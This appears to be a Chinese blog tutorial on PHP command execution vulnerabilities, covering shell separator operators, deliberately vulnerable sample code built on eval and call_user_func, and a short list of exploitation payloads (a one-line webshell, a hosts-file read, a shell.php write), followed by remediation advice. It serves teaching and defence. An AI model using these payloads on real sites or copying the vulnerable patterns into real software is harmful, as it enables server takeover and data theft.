命令执行漏洞概述

一、基本定义:

命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执

行两类。

二、原理

程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、

passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系

统命令拼接到正常命令中,从而造成命令执行攻击。

三、两个条件

①用户能够控制的函数输入

②存在可以执行代码或者系统命令的危险函数

四、命令执行漏洞产生的原因

①由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交

恶意构造语句,并提交服务端执行

②命令注入攻击中,Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的

主要原因。

五、命令执行漏洞带来的危害

①继承Web服务程序的权限去执行系统命令(任意代码)或读写文件

②反弹shell

③控制整个网站甚至控制服务器

④进一步内网渗透

实例1:

编写一个1.php,内容如下,可以通过提交一个cmd命令来使其执行

实例2:

动态函数调用

实例3:

危险函数导致代码执行

管道符号

LinuX

;前面的执行完执行后面的

|是管道符,显示后面的执行结果

||当前面的执行出错时执行后面的

Windows

&前面的语句为假则直接执行后面的

&&前面的语句为假则直接出错,后面的也不执行

|直接执行后面的语句

||前面出错执行后面的

通用命令符

command1&& command2    command1执行成功才执行command2

command1 | command22       只执行command2

2command1 & command2    command1和command2之间互相不影响

常见场景

①Ping主机

②DNS请求

③Office文档

④框架缺陷

六、远程命令执行漏洞相关函数

在PHP下,允许命令执行的函数有:

①eval()

实例:

<?php
$var = "i";
if (isset($_GET['arg'])) {
    $arg = $_GET['arg'];
    eval("$var = '$arg';");
    echo "\$var = ".$var;
}

当提交http://127.0.0.1/4.php?arg=phpinfo();漏洞产生。

注意: 使用 eval() 函数执行字符串中的PHP代码。这里的代码是将 $arg 的值赋给 $var。注意,

这里的表达式是 $var = '$arg';,其中 $arg 被单引号包围,意味着 $arg 中的内容将被当作字符

串处理。

②assert()

和eval()函数类似,此处不在举例

③preg_replace()

/e已被废弃,此处做了解

④call_user_func()

http:/127,0.0,1/phpos,call_user_funcphp?a=assert&b=phpinfo()

<?php
if (isset($_GET['a'])) {
    // 调用用户函数,传递从GET请求中获取的参数'a'和'b'
    call_user_func($_GET['a'], $_GET['b']);
} else {
    // 如果GET参数'a'未设置,提示用户输入
    echo "Please input a";
}

call_user_func 是一个PHP函数,用于调用第一个参数指定的函数名,其余参数作为调用的函数

参数传递。这里假设 $_GET['a'] 是一个函数名,$_GET['b'] 是传递给这个函数的参数。

⑤ $a($b)

这里使用了PHP中的可变函数特性。$a存储的是一个函数名,$b是该函数的参数。例如,如果URL

?a=assert&b=phpinfo(),则这行代码会执行assert(phpinfo());

http://127.0.0,1/php/os/kbhs.php?a=assert&b=phpinfo()

<?php
if (isset($_GET['a']) && isset($_GET['b'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $a($b); // 可变函数调用
} else {
    echo "Please input both 'a' and 'b'";
}

如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏

洞。

七、利用方式:

①?a=@eval($_POST[111]);    一句话木马

666=phpinfo()

②?a=print(_FILE_);  获取当前绝对路径

③?a=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')); 读取文件

④?a=var_dump(file_put_contents($_POST[1],$_POST[2]));1=shell.php&2=<?php phpinfo()?>写

shell

一、基本定义:

二、原理

三、两个条件

四、命令执行漏洞产生的原因

五、命令执行漏洞带来的危害

实例1:

实例2:

实例3:

管道符号

通用命令符

常见场景

六、远程命令执行漏洞相关函数

七、利用方式:


  • 13
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
任意命令执行漏洞是一种常见的安全漏洞,攻击者可以通过该漏洞在受影响的系统上执行任意命令,从而获取系统权限或者进行其他恶意操作。修复该漏洞的关键是要对输入进行有效的过滤和验证,以防止恶意命令的注入。 以下是修复任意命令执行漏洞的一些常见方法: 1. 输入验证和过滤:对于用户输入的数据,应该进行严格的验证和过滤,确保只接受预期的输入。可以使用白名单或正则表达式来限制输入的字符和格式,过滤掉特殊字符和命令注入相关的关键字。 2. 参数化查询:对于数据库查询等操作,应该使用参数化查询或预编译语句,而不是拼接字符串的方式构建查询语句。参数化查询可以有效地防止SQL注入攻击,从而间接防止任意命令执行漏洞。 3. 最小权限原则:在配置系统和应用程序时,应该按照最小权限原则进行设置。即给予每个组件或用户所需的最低权限,避免赋予过高的权限。这样即使发生漏洞被利用,攻击者也只能在受限的权限范围内操作。 4. 安全编码实践:开发人员应该遵循安全编码实践,如避免使用不可信的输入直接拼接命令、避免使用eval()等危险的函数、避免使用系统命令执行函数等。同时,及时更新和修复已知的安全漏洞,以保持系统的安全性。 5. 安全审计和漏洞扫描:定期进行安全审计和漏洞扫描,及时发现和修复潜在的任意命令执行漏洞。可以使用专业的安全工具进行扫描,如静态代码分析工具、漏洞扫描器等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值